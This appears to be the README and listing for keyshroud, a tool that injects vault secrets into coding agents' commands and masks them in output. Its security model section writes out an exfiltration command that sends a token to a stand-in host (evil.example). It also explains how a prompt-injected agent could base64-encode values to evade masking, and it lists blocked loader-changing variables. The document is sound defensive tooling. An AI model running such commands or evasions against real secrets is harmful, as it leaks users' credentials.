Agent-safe secrets from self-hosted Vaultwarden/Bitwarden: injected into commands, masked in output
Runs on your machine from its package; the steps are below.

At most: moves money, runs code or commands, deletes data, or sends messages for you.
Odel charges nothing per call. The publisher may charge for its own service.
Runs locally over stdio
This server isn't hosted — your MCP client launches it from a package registry. Use one of the commands below, or drop the config into your client (e.g. Claude Desktop).
Run
npx -y keyshroud
MCP client config
{
"mcpServers": {
"keyshroud": {
"command": "npx",
"args": [
"-y",
"keyshroud"
]
}
}
}Your agents use the keys. They never see them.
Keep API keys out of Claude Code, Codex, Cursor, Cline, OpenCode, Gemini CLI, pi and omp — secrets stay in your own self-hosted Vaultwarden (or Bitwarden), and every value is masked before the model reads it.
🚀 Quickstart · 🔐 Vault setup · 🔌 Supported agents · ⚙️ How it works · ❓ FAQ · 🛡️ Security model · 🌐 Website

$ keyshroud run --mask -- sh -c 'echo "deploying with $GH_TOKEN"; gh api user -q .login'
deploying with <redacted:GH_TOKEN>
dinhkarate
The command got the real token. The transcript — and the model reading it — got
<redacted:GH_TOKEN>. (Masking is automatic when an agent runs the command;
--mask forces it in a human terminal.)
Coding agents need credentials to do real work: gh, npm publish, cloud CLIs,
webhooks, databases. The usual options are bad:
.env — the agent cats it while debugging, or commits itop run needs a 1Password subscription, and most "agent vaults" are hosted SaaSkeyshroud fixes this:
GH_TOKEN and bw://GitHub CLI token, never the token<redacted:GH_TOKEN>| 🙈 Masked output | keyshroud run replaces every secret value in stdout/stderr with <redacted:NAME> — streaming-safe across chunk boundaries. |
| 🪝 Agent hooks | The pi/omp tool_result hook redacts every tool result, failed ones included. Claude Code's PostToolUse hook redacts every successful tool result (Bash, Read, Grep, MCP…) — see limits. |
| 🔌 MCP server | keyshroud mcp gives any MCP client secrets_run, secrets_list, secrets_request, vault_status. No tool ever returns a value. |
| 🔗 Committable references | bw://item, bw://item/username, bw://item/fields/name, bw://item/totp in .env.refs files and templates: names, not values. |
| ⌨️ Paste-to-create | New secrets go through a masked prompt in the user's terminal or a masked popup in pi — never through the chat. |
📄 inject | Render {{ bw://… }} templates into 0600 config files for tools that can't read env vars (.npmrc, kubeconfig). |
🔎 scan | Find vault values that leaked into your working tree (pre-commit friendly). |
| ⚡ Fast | One batched bw list items per session instead of one bw get (~3 s) per secret. |
| 🏠 Self-hosted, free | Vaultwarden on a $5 VPS or a Raspberry Pi. No SaaS account, no telemetry. |
| 🧾 Audit log | audit.jsonl records which names were used, when, by which command. Never values. |
| Agent | Install | What you get |
|---|---|---|
| Claude Code | plugin | SessionStart + PostToolUse redaction hooks, MCP tools, skill |
| pi / omp | pi install npm:keyshroud | env hydration, tool_result redaction (failed calls too), /secret |
| Codex | codex mcp add keyshroud -- keyshroud mcp | MCP tools with masked output |
| Cursor, Claude Desktop, Cline, Gemini CLI | mcpServers JSON | MCP tools with masked output |
| OpenCode | opencode mcp add keyshroud -- keyshroud mcp | MCP tools with masked output |
| Any shell or CI | keyshroud run -- <cmd> | env injection + masked output |
"Claude Code keeps reading my .env." Run keyshroud import to move the values into
the vault and write a .env.refs file with lines like GH_TOKEN=bw://myapp GH_TOKEN, then start
the agent with keyshroud run --env-file .env.refs -- claude. The plugin's hooks mask anything that still slips into a tool result.
"I already self-host Vaultwarden." Point bw at it, run keyshroud doctor, and you
are done — keyshroud adds no server of its own.
"I like op run but don't want 1Password." keyshroud run is the same idea —
references in, masked output out — on a vault you host.
"My agent needs to add a new key." It runs keyshroud add or calls secrets_request (MCP),
and a hidden-input dialog pops up on your desktop; in pi it is /secret. You paste the value
there. It never enters the chat.
Requirements: Node.js ≥ 22.18, the Bitwarden CLI, and a vault.
0. Get a vault — pick one:
keyshroud doctor, plus backups and hardening.bw config server below (EU accounts: bw config server https://vault.bitwarden.eu).npm install -g keyshroud @bitwarden/cli # or: brew install bitwarden-cli
# 1. Point bw at your server and log in once
bw config server https://vault.example.com
bw login
# 2. Let keyshroud unlock without prompting (stored in the OS keychain)
security add-generic-password -a "$USER" -s vaultwarden-master-password -w # macOS: prompts for the value
# Linux: secret-tool store --label=vaultwarden service vaultwarden-master-password account "$USER"
# 3. Check everything
keyshroud doctor
# 4. Store a secret — typed into a masked prompt, never echoed
keyshroud add --env GH_TOKEN --item "GitHub CLI token" --notes "gh for agents"
# 5. Use it
keyshroud run -- gh auth status
keyshroud run -- claude # start an agent with every wired secret available
Optional: put vaultwarden-api-client-id / vaultwarden-api-client-secret (from
Settings → Security → Keys → API key) in the keychain too, and keyshroud will
also re-login automatically when the bw session expires. Linux keyring commands
and a headless-server option are in the vault setup guide.
┌──────────────────── your machine ────────────────────┐
Vaultwarden ◄─bw─► │ keyshroud ── resolves bw:// refs (1 batched call) ──► child process env
(self-hosted) │ │ │ │ stdout/stderr
│ └── redactor ◄────────────────────────────────────┘◄─────┘
│ │ <redacted:NAME> │
└──────────────┼────────────────────────────────────────────────┘
▼
agent transcript / LLM provider
GH_TOKEN → bw://GitHub CLI token.
Wiring lives in ~/.pi/agent/auth.json / ~/.omp/agent/auth.json
(shared with pi/omp) and in project .env.refs files. Both are safe to read.bw is unlocked from the OS keychain; the session token is cached
in ~/.config/keyshroud/session (0600).bw list items snapshot held in
memory for KEYSHROUD_CACHE_TTL_MS (default 1 h).inject writes 0600 files only when you ask it to).run, MCP, pi/omp) output passes through a redactor
that knows every wired value, the vault session token, and every login
password in the vault. Out-of-process Claude Code hooks use a keyed-HMAC
fingerprint index (redact-index.json, 0600) of wired values and the
session token only, so they never hold plaintext or fingerprint your
personal passwords.Install the CLI, then the plugin (MCP server + redaction hooks + skill):
npm install -g keyshroud
/plugin marketplace add dinhkarate/keyshroud
/plugin install keyshroud@keyshroud
What you get:
<redacted:NAME> using Claude
Code's updatedToolOutput (tested with Claude Code 2.1.296).
Limit: when a command fails, Claude Code fires PostToolUseFailure, which
cannot rewrite output. The skill and session context therefore tell Claude to
run every secret-using command through keyshroud run (or secrets_run),
which masks inside the process regardless of the exit code.secrets_run, secrets_list, secrets_request, vault_status.The plugin calls keyshroud from PATH. If Claude Code is launched from a GUI
that doesn't see your npm/nvm bin directory, run keyshroud link-cli (links it
into ~/.local/bin) and make sure that directory is on the GUI's PATH.
To give Bash commands the secrets as env vars, start Claude through keyshroud:
keyshroud run -- claude
Use a vault item as Claude Code's own API key (apiKeyHelper):
keyshroud claude-setup --item "Anthropic API key" --ttl-ms 600000
It backs up settings.json first and refuses to replace an existing helper
without --force.
pi install npm:keyshroud
The extension:
$CUSTOM_KEY provider references work at startup;tool_result
hook (wired values, the vault session token, and every vault login password);/secret (describe → confirm name → masked paste), /vault_add,
/vault_wire, /vault_rotate, /vault_status, and the vault_add_secret /
vault_status tools./secret can ask a local OpenAI-compatible model to propose the item and
variable names. Only your description is sent — never the value:
export KEYSHROUD_PLANNER_URL=http://127.0.0.1:8080/v1/chat/completions
export KEYSHROUD_PLANNER_MODEL=qwen3-4b
Without a planner, names are derived from the description and you can edit them.
Codex, Cursor, Claude Desktop, Cline, Gemini CLI and any other client that speaks MCP over stdio:
{ "mcpServers": { "keyshroud": { "command": "keyshroud", "args": ["mcp"] } } }
Codex: codex mcp add keyshroud -- keyshroud mcp. Non-interactive codex exec refuses MCP calls that need approval; allow keyshroud's tools explicitly:
# ~/.codex/config.toml
[mcp_servers.keyshroud.tools.secrets_run]
approval_mode = "approve"
OpenCode: opencode mcp add keyshroud -- keyshroud mcp.
| Tool | Does | Returns |
|---|---|---|
secrets_list | Lists wired names (+ optional env_file) | resolved / unresolved names |
secrets_run | Runs a shell command with secrets injected (only, env_file, cwd, timeout_ms) | exit code + masked stdout/stderr |
secrets_request | Opens a hidden-input dialog on the user's desktop and stores the value | created … verified=yes, or a keyshroud add … command for their terminal when no dialog can be shown |
vault_status | Vault lock state, server, item count | status line |
keyshroud get <ENV_NAME | bw://ref> print one value (for scripts; not for agents)
keyshroud run [--env-file F]... [--only A,B] [--no-auth] [--mask|--no-mask] -- <cmd>
keyshroud inject [-i template] [-o out] [--force]
keyshroud redact < log.txt
keyshroud scan [paths...]
keyshroud env [--shell]
keyshroud add --env NAME --item ITEM [--notes TEXT] [--target pi|omp|both] [--stdin|--dialog]
keyshroud import [--from F|-] [--out F] [--prefix P] [--only A,B] [--skip A,B] [--yes] [--replace] [--force]
keyshroud rotate --item ITEM [--stdin|--dialog]
keyshroud wire --env NAME --item ITEM [--target pi|omp|both] [--force]
keyshroud unwire --env NAME [--target pi|omp|both]
keyshroud status | unlock | lock | doctor
keyshroud mcp
keyshroud hook claude <session-start|post-tool-use>
keyshroud claude-setup --item ITEM [--settings PATH] [--ttl-ms N] [--force]
keyshroud api-key --item ITEM
keyshroud link-cli [--dir DIR] [--force]
run masks output whenever stdout is not a terminal (agents, CI, pipes) and
passes the TTY through untouched for interactive use. Force either way with
--mask / --no-mask. exec is an alias of run.
add and rotate read the value from a masked prompt that shows * per
character. Without a terminal (an agent's shell), they open a native hidden-input
dialog instead (osascript on macOS, zenity or kdialog on Linux), so the agent
can start the command and you only paste. Over SSH or without a display, pipe the
value with --stdin.
import reads a .env (default ./.env), decides which lines are secrets (by name, such as
*_TOKEN or *_KEY, or by value, such as sk-… or a URL with a password), and prints a plan of
names only. Nothing is written until you add --yes: it then creates one vault item per secret,
named <prefix> NAME (prefix defaults to the directory name), reads each value back to verify it,
and writes .env.refs with comments and non-secret lines kept. Re-running reuses items that already
hold the same value and stops on a conflicting one. --replace rewrites the source file in place
instead (atomically, no backup copy). Multiline values, ${VAR} expansion and duplicate keys are
rejected with the line number, never the value.
keyshroud import # dry run: which names would move
keyshroud import --yes # store them and write .env.refs
keyshroud run --env-file .env.refs -- npm test
Exit codes: 0 ok · 2 usage · 3 vault locked or unavailable · 4 secret
missing or item name ambiguous · 5 refusing to overwrite existing state.
run exits with the child's code.
| Reference | Resolves to |
|---|---|
bw://GitHub CLI token | login password |
bw://GitHub CLI token/username | login username (notes, uri, id also work) |
bw://Sentry/fields/dsn | custom field dsn |
bw://AWS root/totp | current TOTP code |
bw://a%2Fb | item named a/b |
!bw get password 'Item' | legacy auth.json form, still supported |
Item lookup is case-insensitive by name or exact by id. Duplicate names fail
closed (exit 4) instead of guessing.
| Variable | Default | |
|---|---|---|
KEYSHROUD_CACHE_TTL_MS | 3600000 | in-memory vault snapshot + session check lifetime; 0 disables |
KEYSHROUD_CONFIG_DIR | $XDG_CONFIG_HOME/keyshroud | session, redact index, audit log |
KEYSHROUD_KEYCHAIN_MASTER | vaultwarden-master-password | keychain service names… |
KEYSHROUD_KEYCHAIN_CLIENT_ID | vaultwarden-api-client-id | |
KEYSHROUD_KEYCHAIN_CLIENT_SECRET | vaultwarden-api-client-secret | |
KEYSHROUD_AUDIT | on | 0 disables audit.jsonl |
KEYSHROUD_PLANNER_URL / _MODEL / _API_KEY | unset | optional naming helper for /secret |
Do I need Vaultwarden? No. The official Bitwarden cloud works too; keyshroud talks to
whatever server bw is configured for.
Do secrets leave my machine? Only between bw and your vault server. keyshroud has no
backend and sends no telemetry; values go into the environment of the command you run.
Can the agent still use the key? Yes. The command gets the real value; only the text the model reads is masked.
Is this a sandbox? No. It stops accidental disclosure. A hostile or prompt-injected agent can still exfiltrate a value it can use — see the security model.
Why not just .gitignore my .env? That stops commits, not reads. Agents read .env
to debug, and whatever they read goes to the model provider.
Does it work on Windows? Not tested yet. macOS and Linux are supported.
keyshroud protects against accidental disclosure: secrets ending up in transcripts, provider logs, screenshots, commits, or the model's context because a command printed them.
It does not make a hostile or prompt-injected agent safe. An agent that can
run keyshroud run -- curl https://evil.example -d "$TOKEN", or base64-encode a
value before printing it, can exfiltrate it. If that is your threat model, use
an egress proxy that swaps placeholder credentials on the wire (for example
Infisical Agent Vault or OneCLI), restrict which secrets each session
gets with --only, and keep a human approving commands.
Guarantees we test for:
audit.jsonl;--stdin, or a native dialog, never flags;0600;--force;run and secrets_run never receive BW_SESSION,
BW_PASSWORD, BW_CLIENTID or BW_CLIENTSECRET, so --only really limits
what a command can read (inside pi/omp the agent process keeps the session for
legacy !bw auth entries; its value is redacted from tool output);!command value is
rejected, and so are variables that change what programs load or run (PATH,
NODE_OPTIONS, LD_*, DYLD_*, BASH_ENV, GIT_SSH_COMMAND, …), which are
also never wired or injected;auth.json is never overwritten.Known limits: a .env.refs can reference any item in your vault, not only the
ones you wired, so read a cloned repo's .env.refs before running --env-file
with it. import decides what is secret by heuristics and keeps everything else
as a literal; check its plan before committing .env.refs. The Claude Code
PostToolUse hook does not see failed commands (PostToolUseFailure cannot
rewrite output) or anything a client sends as telemetry, and it only knows wired
values, so keyshroud get bw://… or run --no-mask print in the clear; run
secret-using commands through keyshroud run or secrets_run. An agent with shell access as your user can read
~/.config/keyshroud/session and use bw directly — run agents in a sandbox or
container if that matters. Redaction is exact-match, so a partial or transformed value
(${TOKEN:0:10}, base64, a line wrapped by a tool) is not masked; values
shorter than 6 characters are not redacted (to avoid noise), so don't wire short
PINs.
Report vulnerabilities privately — see SECURITY.md.
npm install
npm run check # typecheck + tests (fake bw, no real vault) + build
node src/cli.ts doctor # run from source (Node ≥ 22.18 strips types)
See CONTRIBUTING.md. The runtime-neutral core is in
src/core.ts; agent integrations live in extensions/, src/mcp.ts and
src/hooks.ts.
Inspired by @jmcombs/pi-1password
— its popup UI and diagnostics shape are ported here (MIT). Masked output follows
1Password's op run. Not affiliated with Bitwarden, Inc. or the Vaultwarden
project; "Bitwarden" is a trademark of Bitwarden, Inc.
MIT © 2026 dinhkarate